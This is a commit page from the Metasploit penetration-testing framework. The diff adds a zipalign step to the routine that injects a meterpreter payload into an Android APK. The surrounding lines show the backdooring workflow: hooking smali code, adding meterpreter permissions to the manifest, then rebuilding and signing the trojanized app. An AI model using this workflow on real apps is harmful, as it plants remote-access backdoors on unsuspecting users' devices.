Skip to content

Commit e628fab

Browse files
committed
Land rapid7#7378, run zipalign during apk injection process
2 parents 6241e48 + b06a3d3 commit e628fab

File tree

1 file changed

+9
-1
lines changed

1 file changed

+9
-1
lines changed

lib/msf/core/payload/apk.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -131,6 +131,11 @@ def backdoor_payload(apkfile, raw_payload)
131131
raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
132132
end
133133

134+
zipalign = run_cmd("zipalign")
135+
unless zipalign != nil
136+
raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it."
137+
end
138+
134139
apktool = run_cmd("apktool -version")
135140
unless apktool != nil
136141
raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
@@ -199,15 +204,18 @@ def backdoor_payload(apkfile, raw_payload)
199204
print_status "Loading #{smalifile} and injecting payload..\n"
200205
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
201206
injected_apk = "#{tempdir}/output.apk"
207+
aligned_apk = "#{tempdir}/aligned.apk"
202208
print_status "Poisoning the manifest with meterpreter permissions..\n"
203209
fix_manifest(tempdir)
204210

205211
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
206212
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
207213
print_status "Signing #{injected_apk}\n"
208214
run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
215+
print_status "Aligning #{injected_apk}\n"
216+
run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}")
209217

210-
outputapk = File.read(injected_apk)
218+
outputapk = File.read(aligned_apk)
211219

212220
FileUtils.remove_entry tempdir
213221
outputapk

0 commit comments

Comments
 (0)